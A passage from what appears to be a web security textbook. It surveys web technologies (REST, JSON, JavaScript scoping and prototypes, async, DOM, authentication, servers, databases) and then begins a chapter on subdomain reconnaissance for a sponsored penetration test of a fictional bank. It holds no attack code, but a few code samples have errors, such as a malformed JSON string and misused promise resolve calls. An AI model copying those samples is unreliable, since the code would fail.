• A local data store on the client (cookies, web storage, IndexDB)

This is not an exhaustive list, and considering there are now bil‐
lions of individual websites on the internet, it is not feasible to
cover all web application technologies in this book.
You should make use of other books and coding websites, like
Stack Overflow, if you need to get up to speed with a specific tech‐
nology not listed in this chapter.
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Some of these technologies existed a decade ago, but it wouldn’t be fair to say they
have not changed in that time frame. Databases have been around for decades, but
NoSQL databases and client-side databases are definitely a more recent development.
The development of full stack JavaScript applications was also not possible until
NodeJS and npm began to see rapid adoption. The landscape for web applications has
been changing so rapidly in the last decade or so that many of these technologies have
gone from unknown to nearly everywhere.

There are even more technologies on the horizon: for example, the Cache API for
storing requests locally, and Web Sockets as an alternative network protocol for
client-to-server (or even client-to-client) communication. Eventually, browsers
intend to fully support a variation of assembly code known as web assembly, which
will allow non-JavaScript languages to be used for writing client-side code in the
browser.

Each of these new and upcoming technologies brings with it new security holes to be
found and exploited for good or for evil. It is an exciting time to be in the business of
exploiting or securing web applications.

Unfortunately, I cannot give an explanation regarding every technology in use on the
web today—that would require its own book! But the remainder of this chapter will
give an introduction to the technologies listed previously. Feel free to focus on the
ones you are not yet intimately familiar with.

REST APIs
REST stands for Representational State Transfer, which is a fancy way of defining an
API that has a few unique traits:

It must be separate from the client
REST APIs are designed for building highly scalable, but simple, web applica‐
tions. Separating the client from the API but following a strict API structure
makes it easy for the client application to request resources from the API without
being able to make calls to a database or perform server-side logic itself.

It must be stateless
By design, REST APIs only take inputs and provide outputs. The APIs must not
store any state regarding the client’s connection. This does not mean, however,
that a REST API cannot perform authentication and authorization—instead,
authorization should be tokenized and sent on every request.

It must be easily cacheable
To properly scale a web application delivered over the internet, a REST API must
be able to easily mark its responses as cacheable or not. Because REST also
includes very tight definitions on what data will be served from what endpoint,
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this is actually very easy to configure on a properly designed REST API. Ideally,
the caches should be programmatically managed to not accidentally leak privi‐
leged information to another user.

Each endpoint should define a specific object or method
Typically these are defined hierarchically; for example, /moderators/joe/logs/
12_21_2018. In doing so, REST APIs can easily make use of HTTP verbs like
GET, POST, PUT, and DELETE. As a result, one endpoint with multiple HTTP
verbs becomes self-documenting.

Want to modify the moderator account “joe”? Use PUT /moderators/joe. Want to
delete the 12_21_2018 log? All it takes is a simple deduction: DELETE /

moderators/joe/logs/12_21_2018.

Because REST APIs follow a well-defined architectural pattern, tools like Swagger can
easily integrate into an application and document the endpoints so it is easier for
other developers to pick up an endpoint’s intentions (see Figure 3-1).

Figure 3-1. Swagger, an automatic API documentation generator designed for easy inte‐
gration with REST APIs

In the past, most web applications used Simple Object Access Protocol (SOAP)-
structured APIs. REST has several advantages over SOAP:

• Requests target data, not functions
• Easy caching of requests
• Highly scalable

Furthermore, while SOAP APIs must utilize XML as their in-transit data format,
REST APIs can accept any data format, but typically JSON is used. JSON is much
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more lightweight (less verbose) and easier for humans to read than XML, which also
gives REST an edge against the competition.

Here is an example payload written in XML:

<user>
 <username>joe</username>
 <password>correcthorsebatterystaple</password>
 <email>joe@website.com</email>
 <joined>12/21/2005</joined>
 <client-data>
  <timezone>UTF</timezone>
  <operating-system>Windows 10</operating-system>
  <licenses>
   <videoEditor>abc123-2005</videoEditor>
   <imageEditor>123-456-789</imageEditor>
  </licenses>
 </client-data>
</user>

And similarly, the same payload written in JSON:

{
 "username": "joe",
 "password": "correcthorsebatterystaple",
 "email": "joe@website.com",
 "joined": "12/21/2005",
 "client_data": {
  "timezone": "UTF",
  "operating_system": "Windows 10",
  "licenses": {
   "videoEditor": "abc123-2005",
   "imageEditor": "123-456-789"
  }
 }
}

Most modern web applications you will run into either make use of RESTful APIs, or
a REST-like API that serves JSON. It is becoming increasingly rare to encounter
SOAP APIs and XML outside of specific enterprise apps that maintain such rigid
design for legacy compatibility.

Understanding the structure of REST APIs is important as you attempt to reverse
engineer a web application’s API layer. Mastering the basic fundamentals of REST
APIs will give you an advantage, as you will find that many APIs you wish to investi‐
gate follow REST architecture—but additionally, many tools you may wish to use or
integrate your workflow with will be exposed via REST APIs.
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JavaScript Object Notation
REST is an architecture specification that defines how HTTP verbs should map to
resources (API endpoints and functionality) on a server. Most REST APIs today use
JSON as their in-transit data format.

Consider this: an application’s API server must communicate with its client (usually
some code in a browser or mobile app). Without a client/server relationship, we can‐
not have stored state across devices, and persist that state between accounts. All state
would have to be stored locally.

Because modern web applications require a lot of client/server communication (for
the downstream exchange of data, and upstream requests in the form of HTTP
verbs), it is not feasible to send data in ad hoc formats. The in-transit format of the
data must be standardized.

JSON is one potential solution to this problem. JSON is an open-standard (not pro‐
prietary) file format that meets a number of interesting requirements:

• It is very lightweight (reduces network bandwidth).
• It requires very little parsing (reduces server/client hardware load).
• It is easily human readable.
• It is hierarchical (can represent complex relationships between data).
• JSON objects are represented very similarly to JavaScript objects, making con‐

sumption of JSON and building new JSON objects quite easy in the browser.

All major browsers today support the parsing of JSON natively (and fast!), which, in
addition to the preceding bullet points, makes JSON a great format for transmitting
data between a stateless server and a web browser.

The following JSON:

{
"first": "Sam",
"last": "Adams",
"email": "sam.adams@company.com",
"role": "Engineering Manager",
"company": "TechCo.",
"location": {
  "country": "USA",
  "state": "california",
  "address": "123 main st.",
  "zip": 98404
  }
}

can be parsed easily into a JavaScript object in the browser:
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const jsonString = `{
 "first": "Sam",
 "last": "Adams",
 "email" "sam.adams@company.com",
 "role": "Engineering Manager",
 "company": "TechCo.",
 "location": {
  "country": "USA",
  "state": "california",
  "address": "123 main st.",
  "zip": 98404
 }
}`;

// convert the string sent by the server to an object
const jsonObject = JSON.parse(jsonString);

JSON is flexible, lightweight, and easy to use. It is not without its drawbacks, as any
lightweight format has trade-offs compared to heavyweight alternatives. These will be
discussed later on in the book when we evaluate specific security differences between
JSON and its competitors, but for now it’s important to just grasp that a significant
number of network requests between browsers and servers are sent as JSON today.

Get familiar with reading through JSON strings, and consider installing a plug-in in
your browser or code editor to format JSON strings. Being able to rapidly parse these
and find specific keys will be very valuable when penetration testing a wide variety of
APIs in a short time frame.

JavaScript
Throughout this book we will continually discuss client and server applications.

A server is a computer (typically a powerful one) that resides in a data center (some‐
times called the cloud), and is responsible for handling requests to a website. Some‐
times these servers will actually be a cluster of many servers; other times it might just
be a single lightweight server used for development or logging.

A client, on the other hand, is any device a user has access to that they manipulate to
use a web application. A client could be a mobile phone, a mall kiosk, or a touch
screen in an electric car—but for our purposes it will usually just be a web browser.

Servers can be configured to run almost any software you could imagine, in any lan‐
guage you could imagine. Web servers today run on Python, Java, JavaScript, C++,
etc. Clients (in particular, the browser) do not have that luxury. JavaScript is not only
a programming language, but also the sole programming language for client-side
scripting in web browsers. JavaScript is a dynamic programming language that was
originally designed for use in internet browsers. JavaScript is now used in many appli‐
cations, from mobile to the internet of things, or IoT (see Figure 3-2).

JavaScript | 33



Many code examples throughout this book are written in JavaScript (see Figure 3-2).
When possible, the backend code examples are written using a JavaScript syntax as
well so that no time is wasted in context switching. JavaScript is now used in many
applications, from mobile to IoT.

Figure 3-2. JavaScript example

I’ll try to keep the JavaScript as clean and simple as possible, but I may use some con‐
structs that JavaScript supports that are not as popular (or well known) in other
languages.

JavaScript is a unique language as development is tied to the growth of the browser,
and its partner, the Document Object Model (DOM). Because of this, there are some
quirks you might want to be aware of before moving forward.

Variables and Scope
In ES6 JavaScript (a recent version), there are four ways to define a variable:

// global definition
age = 25;

// function scoped
var age = 25;

// block scoped
let age = 25;

// block scoped, without reassignment
const age = 25;

These may all appear similar, but they are functionally very different.

age = 25
Without including an identifier like var, let, or const, any variable you define
will get hoisted into global scope. This means that any other object defined as a
child of the global scope will be able to access that variable. Generally speaking,
this is considered a bad practice and we should stay away from it. (It could also
be the cause of significant security vulnerabilities or functional bugs.)
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It should be noted that all variables lacking an identifier will also have a pointer added
to the window object in the browser:

// define global integer
age = 25;

// direct call (returns 25)
console.log(age);

// call via pointer on window (returns 25)
console.log(window.age);

This, of course, can cause namespacing conflicts on window (an object the browser
DOM relies on to maintain window state), which is another good reason to avoid it.

var age = 25
Any variable defined with the identifier var is scoped to the nearest function, or
globally if there is no outer function block defined (in the global case, it appears
on window similarly to an identifier-less variable, as shown previously).

This type of variable is a bit confusing, which is probably part of the reason let was
eventually introduced.

const func = function() {
 if (true) {
  // define age inside of if block
  var age = 25;
 }

 /*
  * logging age will return 25
  *
  * this happens because the var identifier binds to the nearest
  * function, rather than the nearest block.
  */
 console.log(age);
};

In the preceding example, a variable is defined using the var identifier with a value of
25. In most other modern programming languages, age would be undefined when
trying to log it. Unfortunately, var doesn’t follow these general rules and scopes itself
to functions rather than blocks. This can lead new JavaScript developers down a road
of debugging confusion.

let age = 25
ECMAScript 6 (a specification for JavaScript) introduced let and const—two
ways of instantiating an object that act more similarly to those in other modern
languages.

As you would expect, let is block scoped. That means:
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const func = function() {
 if (true) {
   // define age inside of if block
   let age = 25;
 }

 /*
  * This time, console.log(age) will return `undefined`.
  *
  * This is because `let`, unlike `var` binds to the nearest block.
  * Binding scope to the nearest block, rather than the nearest function
  * is generally considered to be better for readability, and
  * results in a reduction of scope-related bugs.
  */
 console.log(age);
};

const age = 25
const, much like let, is also block scoped, but also cannot be reassigned. This
makes it similar to a final variable in a language like Java.

const func = function() {
  const age = 25;

  /*
   * This will result in: TypeError: invalid assignment to const `age`
   *
   * Much like `let`, `const` is block scoped.
   * The major difference is that `const` variables do not support
   * reassignment after they are instantiated.
   *
   * If an object is declared as a const, its properties can still be
   * changed. As a result, `const` ensures the pointer to `age` in memory
   * is not changed, but does not care if the value of `age` or a property
   * on `age` changes.
   */
  age = 35;
};

In general, you should always strive to use let and const in your code to avoid bugs
and improve readability.

Functions
In JavaScript, functions are objects. That means they can be assigned and reassigned
using the variables and identifiers from the last section.

These are all functions:

// anonymous function
function () {};
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// globally declared named function
a = function() {};

// function scoped named function
var a = function() { };

// block scoped named function
let a = function () {};

// block scoped named function without re-assignment
const a = function () {};

// anonymous function inheriting parent context
() => {};

// immediately invoked function expression (IIFE)
(function() { })();

The first function is an anonymous function—that means it can’t be referenced after it
is created. The next four are simply functions with scope specified based on the iden‐
tifier provided. This is very similar to how we previously created variables for age.
The sixth function is a shorthand function—it shares context with its parent (more
on that soon).

The final function is a special type of function you will probably only find in Java‐
Script, known as an IIFE—immediately invoked function expression. This is a func‐
tion that fires immediately when loaded and runs inside of its own namespace. These
are used by more advanced JavaScript developers to encapsulate blocks of code from
being accessible elsewhere.

Context
If you can write code in any other (non-JavaScript) language, there are five things you
will need to learn to become a good JavaScript developer: scope, context, prototypal
inheritance, asynchrony, and the browser DOM.

Every function in JavaScript has its own set of properties and data attached to it. We
call these the function’s context. Context is not set in stone, and can be modified dur‐
ing runtime. Objects stored in a function’s context can be referenced using the key‐
word this:

const func = function() {
  this.age = 25;

  // will return 25
  console.log(this.age);
};

// will return undefined
console.log(this.age);
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As you can imagine, many annoying programming bugs are a result of context being
hard to debug—especially when some object’s context has to be passed to another
function.

JavaScript introduced a few solutions to this problem to aid developers in sharing
context between functions:

// create a new getAge() function clone with the context from ageData
// then call it with the param 'joe'
const getBoundAge = getAge.bind(ageData)('joe');

// call getAge() with ageData context and param joe
const boundAge = getAge.call(ageData, 'joe');

// call getAge() with ageData context and param joe
const boundAge = getAge.apply(ageData, ['joe']);

These three functions, bind, call, and apply, allow developers to move context from
one function to another. The only difference between call and apply is that call
takes a list of arguments, and apply takes an array of arguments.

The two can be interchanged easily:

// destructure array into list
const boundAge = getAge.call(ageData, ...['joe']);

Another new addition to aid programmers in managing context is the arrow func‐
tion, also called the shorthand function. This function inherits context from its par‐
ent, allowing context to be shared from a parent function to the child without
requiring explicit calling/applying or binding:

// global context
this.garlic = false;

// soup recipe
const soup = { garlic: true };

// standard function attached to soup object
soup.hasGarlic1 = function() { console.log(this.garlic); } // true

// arrow function attached to global context
soup.hasGarlic2 = () => { console.log(this.garlic); } // false

Mastering these ways of managing context will make reconnaissance through a
JavaScript-based server or client much easier and faster. You might even find some
language-specific vulnerabilities that arise from these complexities.

Prototypal Inheritance
Unlike many traditional server-side languages that suggest using a class-based inheri‐
tance model, JavaScript has been designed with a highly flexible prototypal inheri‐
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tance system. Unfortunately, because few languages make use of this type of
inheritance system, it is often disregarded by developers, many of whom try to con‐
vert it to a class-based system.

In a class-based system, classes operate like blueprints defining objects. In such sys‐
tems, classes can inherit from other classes and create hierarchical relationships in
this manner. In a language like Java, subclasses are generated with the extends key‐
word, or instanced with the new keyword.

JavaScript does not truly support these types of classes, but because of how flexible
prototypal inheritance is, it is possible to mimic the exact functionality of classes with
some abstraction on top of JavaScript’s prototype system. In a prototypal inheritance
system, like in JavaScript, any object created has a property attached to it called proto
type. The prototype property comes with a constructor property attached that
points back to the function that owns the prototype. This means that any object can
be used to instantiate new objects, since the constructor points to the object that con‐
tains the prototype containing the constructor.

This may be confusing, but here is an example:

/*
 * A vehicle pseudoclass written in JavaScript.
 *
 * This is simple on purpose, in order to more clearly demonstrate
 * prototypal inheritance fundamentals.
 */
const Vehicle = function(make, model) {
 this.make = make;
 this.model = model;

 this.print = function() {
  return `${this.make}: ${this.model}`;
 };
};

const prius = new Vehicle('Toyota', 'Prius');
console.log(prius.print());

When any new object is created in JavaScript, a separate object is also created called
__proto__. This object points to the prototype whose constructor was invoked dur‐
ing the creation of that object.

This allows for comparison between objects, for example:

const prius = new Vehicle('Toyota', 'Prius');
const charger = new Vehicle('Dodge', 'Charger');

/*
 * As we can see, the "Prius" and "Charger" objects were both
 * created based off of "Vehicle".
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 */
prius.__proto__ === charger.__proto__;

Oftentimes, the prototype on an object will be modified by developers, leading to
confusing changes in web application functionality. Most notably, because all objects
in JavaScript are mutable by default, a change to prototype properties can happen at
any time during runtime.

Interestingly, this means that unlike in more rigidly designed inheritance models,
JavaScript inheritance trees can change at runtime. Objects can morph at runtime as a
result:

const prius = new Vehicle('Toyota', 'Prius');
const charger = new Vehicle('Dodge', 'Charger');

/*
 * This will fail, because the Vehicle object
 * does not have a "getMaxSpeed" function.
 *
 * Hence, objects inheriting from Vehicle do not have such a function
 * either.
 */
 console.log(prius.getMaxSpeed()); // Error: getMaxSpeed is not a function

 /*
  * Now we will assign a getMaxSpeed() function to the prototype of Vehicle,
  * all objects inheriting from Vehicle will be updated in real time as
  * prototypes propagate from the Vehicle object to its children.
  */
  Vehicle.prototype.getMaxSpeed = function() {
    return 100; // mph
  };

  /*
   * Because the Vehicle's prototype has been updated, the
   * getMaxSpeed function will now function on all child objects.
   */
  prius.getMaxSpeed(); // 100
  charger.getMaxSpeed(); // 100

Prototypes take a while to get used to, but eventually their power and flexibility out‐
weigh any difficulties present in the learning curve. Prototypes are especially impor‐
tant to understand when delving into JavaScript security, because few developers fully
understand them.

Additionally, because prototypes propagate to children when modified, a special type
of attack is found in JavaScript-based systems called Prototype Pollution. This attack
involves modification to a parent JavaScript object, unintentionally changing the
functionality of child objects.
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Asynchrony
Asynchrony is one of those “hard to figure out, easy to remember” concepts that
seem to come along frequently in network programming. Because browsers must
communicate with servers on a regular basis, and the time between request and
response is nonstandard (factoring in payload size, latency, and server processing
time), asynchrony is used often on the web to handle such variation.

In a synchronous programming model, operations are performed in the order they
occur. For example:

console.log('a');
console.log('b');
console.log('c');
// a
// b
// c

In the case above, the operations occur in order, reliably spelling out “abc” every time
these three functions are called in the same order.

In an asynchronous programming model, the three functions may be read in the
same order by the interpreter each time, but might not resolve in the same order.
Consider this example, which relies on an asynchronous logging function:

// --- Attempt #1 ---
async.log('a');
async.log('b');
async.log('c');
// a
// b
// c

// --- Attempt #2 ---
async.log('a');
async.log('b');
async.log('c');
// a
// c
// b

// --- Attempt #3 ---
async.log('a');
async.log('b');
async.log('c');
// a
// b
// c

The second time the logging functions were called, they did not resolve in order.
Why?
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When dealing with network programming, requests often take variable amounts of
time, time out, and operate unpredictably. In JavaScript-based web applications, this
is often handled via asynchronous programming models rather than simply waiting
for a request to complete before initiating another. The benefit is a massive perfor‐
mance improvement that can be dozens of times faster than the synchronous alterna‐
tive. Instead of forcing requests to complete one after another, we initiate them all at
the same time and then program what they should do upon resolution—prior to res‐
olution occurring.

In older versions of JavaScript, this was usually done with a system called callbacks:

const config = {
  privacy: public,
  acceptRequests: true
};

/*
 * First request a user object from the server.
 * Once that has completed, request a user profile from the server.
 * Once that has completed, set the user profile config.
 * Once that has completed, console.log "success!"
 */
getUser(function(user) {
  getUserProfile(user, function(profile) {
    setUserProfileConfig(profile, config, function(result) {
      console.log('success!');
    });
  });
});

While callbacks are extremely fast and efficient, compared to a synchronous model,
they are very difficult to read and debug.

A later programming philosophy suggested creating a reusable object that would call
the next function once a given function completed. These are called promises, and
they are used in many programming languages today:

const config = {
  privacy: public,
  acceptRequests: true
};

/*
 * First request a user object from the server.
 * Once that has completed, request a user profile from the server.
 * Once that has completed, set the user profile config.
 * Once that has completed, console.log "success!"
 */
const promise = new Promise((resolve, reject) => {
  getUser(function(user) {
    if (user) { return resolve(user); }
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    return reject();
  });
}).then((user) => {
  getUserProfile(user, function(profile) {
   if (profile) { return resolve(profile); }
   return reject();
  });
}).then((profile) => {
  setUserProfile(profile, config, function(result) {
   if (result) { return resolve(result); }
   return reject();
  });
}).catch((err) => {
  console.log('an error occured!');
});

Both of the preceding examples accomplish the same exact application logic. The dif‐
ference is in readability and organization. The promise-based approach can be bro‐
ken up further, growing vertically instead of horizontally and making error handling
much easier. Promises and callbacks are interoperable and can be used together,
depending on programmer preference.

The latest method of dealing with asynchrony is the async function. Unlike normal
function objects, these functions are designed to make dealing with asynchrony a
cakewalk.

Consider the following async function:

const config = {
  privacy: public,
  acceptRequests: true
};

/*
 * First request a user object from the server.
 * Once that has completed, request a user profile from the server.
 * Once that has completed, set the user profile config.
 * Once that has completed, console.log "success!"
 */
const setUserProfile = async function() {
  let user = await getUser();
  let userProfile = await getUserProfile(user);
  let setProfile = await setUserProfile(userProfile, config);
};

setUserProfile();

You may notice this is so much easier to read—great, that’s the point!

Async functions turn functions into promises. Any method call inside of the promise
with await before it will halt further execution within that function until the method
call resolves. Code outside of the async function can still operate normally.
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Essentially, the async function turns a normal function into a promise. You will see
these more and more in client-side code, and JavaScript-based server-side code as
time goes on.

Browser DOM
You should now have sufficient understanding of asynchronous programming—the
model that is dominant on the web and in client/server applications. With that infor‐
mation in your head, the final JavaScript-related concept you should be aware of is
the browser DOM.

The DOM is the hierarchical representation data used to manage state in modern
web browsers. Figure 3-3 shows the window object, one of the topmost standard
objects defined by the DOM specification.

Figure 3-3. The DOM window object
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JavaScript is a programming language, and like any good programming language it
relies on a powerful, standard library. This library, unlike standard libraries in other
languages, is known as the DOM.

The DOM provides routine functionality that is well tested and performant, and is
implemented across all major browsers, so your code should function identically or
nearly identically regardless of the browser it is run on.

Unlike other standard libraries, the DOM exists not to plug functionality holes in the
language or provide common functionality (that is a secondary function of the
DOM) but mainly to provide a common interface from which to define a hierarchical
tree of nodes that represents a web page. You have probably accidentally called a
DOM function and assumed it was a JS function. An example of this is
document.querySelector() or document.implementation.

The main objects that make up the DOM are window and document, each carefully
defined in a specification maintained by an organization called WhatWG.

Regardless of if you are a JavaScript developer, web application pen tester, or security
engineer, developing a deep understanding of the browser DOM and its role in a web
application is crucial to spotting vulnerabilities that become evident at the presenta‐
tion layer in an application. Consider the DOM to be the framework from which
JavaScript-based applications are deployed to end users, and keep in mind that not all
script-related security holes will be the result of improper JavaScript, but can some‐
times result from improper browser DOM implementation.

SPA Frameworks
Older websites were usually built on a combination of ad hoc script to manipulate the
DOM, and a lot of reused HTML template code. This was not a scalable model, and
while it worked for delivering static content to an end user, it did not work for deliv‐
ering complex, logic-rich applications.

Desktop application software at the time was robust in functionality, allowing for
users to store and maintain application state. Websites in the old days did not provide
this type of functionality, although many companies would have preferred to deliver
their complex applications via the web as it provided many benefits from ease of use
to piracy prevention.

Single-page application (SPA) frameworks were designed to bridge the functionality
gap between websites and desktop applications. SPA frameworks allow for the devel‐
opment of complex JavaScript-based applications that store their own internal state,
and are composed of reusable UI components, each of which has its own self-
maintained life cycle, from rendering to logic execution.
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SPA frameworks are rampant on the web today, backing the largest and most com‐
plex applications (such as Facebook, Twitter, and YouTube) where functionality is key
and near-desktop-like application experiences are delivered.

Some of the largest open source SPA frameworks today are ReactJS, EmberJS, VueJS,
and AngularJS (Figure 3-4). These are all built on top of JavaScript and the DOM, but
bring with them added complexity from both security and functionality perspectives.

Figure 3-4. VueJS, a popular single-page application framework that builds on top of
web components

Authentication and Authorization Systems
In a world where most applications consist of both clients (browsers/phones) and
servers, and servers persist data originally sent from a client, systems must be in place
to ensure that future access of persisted data comes from the correct user.

We use the term authentication to describe a flow that allows a system to identify a
user. In other words, authentication systems tell us that “joe123” is actually “joe123”
and not “susan1988.”

The term authorization is used to describe a flow inside a system for determining
what resources “joe123” has access to, as opposed to “susan1988.” For example,
“joe123” should be able to access his own uploaded private photos, and “susan1988”
should be able to access hers, but they should not be able to access each other’s
photos.

Both processes are critical to the functionality of a web application, and both are
functions in a web application where proper security controls are critical.
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Authentication
Early authentication systems were simple in nature. For example, HTTP basic
authentication performs authentication by attaching an Authorization header on each
request. The header consists of a string containing Basic: <base64-encoded user
name:password>. The server receives the username:password combination and, on
each request, checks it against the database. Obviously, this type of authentication
scheme has several flaws—for example, it is very easy for the credentials to be leaked
in a number of ways, from compromised WiFi over HTTP to simple XSS attacks.

Later authentication developments include digest authentication, which employs
cryptographic hashes instead of base64 encoding. After digest authentication, a mul‐
titude of new techniques and architectures popped up for authentication, including
those that do not involve passwords or require external devices.

Today, most web applications choose from a suite of authentication architectures,
depending on the nature of the business. For example, the OAuth protocol is great for
websites that want to integrate with larger websites. OAuth allows for a major website
(such as Facebook, Google, etc.) to provide a token verifying a user’s identity to a
partner website. OAuth can be useful to a user because the user’s data only needs to
be updated on one site, rather than on multiple sites—but OAuth can be dangerous
because one compromised website can result in multiple compromised profiles.

HTTP basic authentication and digest authentication are still used widely today, with
digest being more popular as it has more defenses against interception and replay
attacks. Often these are coupled with tools like 2FA to ensure that authentication
tokens are not compromised, and that the identity of the logged-in user has not
changed.

Authorization
Authorization is the next step after authentication. Authorization systems are more
difficult to categorize, as authorization very much depends on the business logic
inside of the web application.

Generally speaking, well-designed applications have a centralized authorization class
that is responsible for determining if a user has access to certain resources or func‐
tionality.

If APIs are poorly written, they will implement checks on a per-API basis, which
manually reproduce authorization functionality. Oftentimes, if you can tell that an
application reimplements authorization checks in each API, that application will
likely have several APIs where the checks are not sufficient simply due to human
error.
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Some common resources that should always have authorization checks include set‐
tings/profile updates, password resets, private message reads/writes, any paid func‐
tionality, and any elevated user functionality (such as moderation functions).

Web Servers
A modern client-server web application relies on a number of technologies built on
top of each other for the server-side component and client-side components to func‐
tion as intended.

In the case of the server, application logic runs on top of a software-based web server
package so that application developers do not have to worry about handling requests
and managing processes. The web server software, of course, runs on top of an oper‐
ating system (usually some Linux distro like Ubuntu, CentOS, or RedHat), which
runs on top of physical hardware in a data center somewhere.

But as far as web server software goes, there are a few big players in the modern web
application world. Apache still serves nearly half of the websites in the world, so we
can assume Apache serves the majority of web applications as well. Apache is open
source, has been in development for around 25 years, and runs on almost every Linux
distro, as well as some Windows servers (see Figure 3-5).

Figure 3-5. Apache, one of the largest and most frequently implemented web server soft‐
ware packages, has been in development since 1995

Apache is great not only due to its large community of contributors and open source
nature, but also because of how easily configurable and pluggable it has become. It’s a
flexible web server that you will likely see for a long time. Apache’s biggest competitor
is Nginx (pronounced “Engine X”). Nginx runs around 30% of web servers and is
growing rapidly.

Although Nginx can be used for free, its parent company (currently F5 Networks)
uses a paid+ model where support and additional functionality come at a cost.
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Nginx is used for high-volume applications with a large number of unique connec‐
tions, as opposed to those with few connections requiring a lot of data. Web applica‐
tions that are serving many users simultaneously may see large performance
improvements when switching from Apache to Nginx, as the Nginx architecture has
much less overhead per connection.

Behind Nginx is Microsoft IIS, although the popularity of Windows-based servers has
diminished due to expensive licenses and lack of compatibility with Unix-based open
source software (OSS) packages. IIS is the correct choice of web server when dealing
with many Microsoft-specific technologies, but may be a burden to companies trying
to build on top of open source.

There are many smaller web servers out there, and each has its own security benefits
and downsides. Becoming familiar with the big three will be useful as you move on
throughout this book and learn how to find vulnerabilities that stem from improper
configuration, rather than just vulnerabilities present in application logic.

Server-Side Databases
Once a client sends data to be processed to a server, the server must often persist this
data so that it can be retrieved in a future session. Storing data in memory is not relia‐
ble in the long term, as restarts and crashes could cause data loss. Additionally,
random-access memory is quite expensive when compared to disk.

When storing data on disk, proper precautions need to be taken to ensure that the
data can be reliably and quickly retrieved, stored, and queried. Almost all of today’s
web applications store their user-submitted data in some type of database—often
varying the database used depending on the particular business logic and use case.

SQL databases are still the most popular general-purpose database on the market.
SQL query language is strict, but reliably fast and easy to learn. SQL can be used for
anything from storage of user credentials to managing JSON objects or small image
blobs. The largest of these are PostgreSQL, Microsoft SQL Server, MySQL, and
SQLite.

When more flexible storage is needed, schema-less NoSQL databases can be
employed. Databases like MongoDB, DocumentDB, and CouchDB store information
as loosely structured “documents” that are flexible and can be modified at any time,
but are not as easy or efficient at querying or aggregating.

In today’s web application landscape, more advanced and particular databases also
exist. Search engines often employ their own highly specialized databases that must
be synchronized with the main database on a regular basis. An example of this is the
widely popular Elasticsearch.
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Each type of database carries unique challenges and risks. SQL injection is a well-
known vulnerability archetype effective against major SQL databases when queries
are not properly formed. However, injection-style attacks can occur against almost
any database if a hacker is willing to learn the database’s query model.

It is wise to consider that many modern web applications can employ multiple data‐
bases at the same time, and often do. Applications with sufficiently secure SQL query
generation may not have sufficiently secure MongoDB or Elasticsearch queries and
permissions.

Client-Side Data Stores
Traditionally, minimal data is stored on the client because of technical limitations and
cross-browser compatibility issues. This is rapidly changing. Many applications now
store significant application state on the client, often in the form of configuration data
or large scripts that would cause network congestion if they had to be downloaded on
each visit.

In most cases, a browser-managed storage container called local storage is used for
storing and accessing key/value data from the client. Local storage follows browser-
enforced Same Origin Policy (SOP), which prevents other domains (websites) from
accessing each other’s locally stored data. Web applications can maintain state even
when the browser or tab is closed (see Figure 3-6).

Figure 3-6. Local storage is a powerful and persistent key/value store supported by all
modern browsers

A subset of local storage called session storage operates identically, but persists
data only until the tab is closed. This type of storage can be used when data is more
critical and should not be persisted if another user uses the same machine.
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In poorly architected web applications, client-side data stores may
also reveal sensitive information such as authentication tokens or
other secrets.

Finally, for more complex applications, browser support for IndexedDB is found in
all major web browsers today. IndexedDB is a JavaScript-based object oriented pro‐
gramming (OOP) database capable of storing and querying asynchronously in the
background of a web application.

Because IndexedDB is queryable, it offers a much more powerful developer interface
than local storage is capable of. IndexedDB finds use in web-based games and
web-based interactive applications (like image editors).

You can check if your browser supports IndexedDB by typing the following in the
browser developer console: if (window.indexedDB) { console.log('true'); }.

Summary
Modern web applications are built on a number of new technologies not found in
older applications. Because of this increased surface area due to expanded functional‐
ity, many more forms of attack can target today’s applications compared to the web‐
sites of the past.

To be a security expert in today’s application ecosystem, you need not only security
expertise, but some level of software development skill as well. The top hackers and
security experts of this decade bring with them deep engineering knowledge in addi‐
tion to their security skills. They understand the relationship and architecture
between the client and the server of an application. They can analyze an application’s
behavior from the perspective of a server, a client, or the network in between.

The best of the best understand the technologies that power these three layers of a
modern web application as well. As a result, they understand the weaknesses inherent
in different databases, client-side technologies, and network protocols.

While you do not need to be an expert software engineer to become a skilled hacker
or security engineer, these skills will aid you and you will find them very valuable.
They will expedite your research and allow you to see deep and difficult vulnerabili‐
ties that you would not otherwise be able to find.
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CHAPTER 4

Finding Subdomains

In order to scope out and test API endpoints, we should first be familiar with the
domain structure a web application uses. In today’s world it is rare for a single
domain to be used to serve a web application in its entirety. More often than not, web
applications will be split into at minimum client and server domains, plus the well-
known "https://www" versus just "https://.” Being able to iteratively find and record
subdomains powering a web application is a useful first recon technique against that
web application.

Multiple Applications per Domain
Let’s assume we are trying to map MegaBank’s web applications in order to better per‐
form a black-box penetration test sponsored by that bank. We know that MegaBank
has an app that users can log in to and access their bank accounts. This app is located
at https://www.mega-bank.com.

We are particularly curious if MegaBank has any other internet-accessible servers
linked to the mega-bank.com domain name. We know MegaBank has a bug bounty
program, and the scope of that program covers the main mega-bank.com domain
quite comprehensively. As a result, any easy-to-find vulnerabilities in mega-bank.com
have already been fixed or reported. If new ones pop up, we will be working against
the clock to find them before the bug bounty hunters do.

Because of this, we would like to look for some easier targets that still allow us to hit
MegaBank where it hurts. This is a purely ethical corporate-sponsored test, but that
doesn’t mean we can’t have any fun.

The first thing we should do is perform some recon and fill our web application map
up with a list of subdomains attached to mega-bank.com (see Figure 4-1). Because
www points to the public-facing web application itself, we probably don’t have any
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interest in that. But most large consumer companies actually host a variety of subdo‐
mains attached to their primary domain. These subdomains are used for hosting a
variety of services from email, to admin applications, file servers, and more.

Figure 4-1. Mega-bank.com simple subdomain web—often these webs are significantly
more complex, and may contain servers not accessible from an external network

There are many ways to find this data, and often you will have to try several to get the
results you are looking for. We will start with the most simple methods and work our
way up.

The Browser’s Built-In Network Analysis Tools
Initially, we can gather some useful data simply by walking through the visible func‐
tionality in MegaBank and seeing what API requests are made in the background.
This will often grant us a few low-hanging fruit endpoints. To view these requests as
they are being made, we can use our own web browser’s network tools, or a more
powerful tool like Burp, PortSwigger, or ZAP.

Figure 4-2 shows an example of Wikipedia browser developer tools, which can be
used to view, modify, resend, and record network requests. Freely available network
analysis tools such as this are much more powerful than many paid network tools
from 10 years ago. Because this book is written excluding specialized tools, we will
rely solely on the browser for now.
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Figure 4-2. The Wikipedia.org browser developer tools network tab showing an async
HTTP request made to the Wikipedia API

As long as you are using one of the three major browsers (Chrome, Firefox, or Edge),
you should find that the tools included with them for developers are extremely pow‐
erful. In fact, browser developer tools have come so far that you can easily become a
proficient hacker without having to purchase any third-party tools. Modern browsers
provide tooling for network analysis, code analysis, runtime analysis of JavaScript
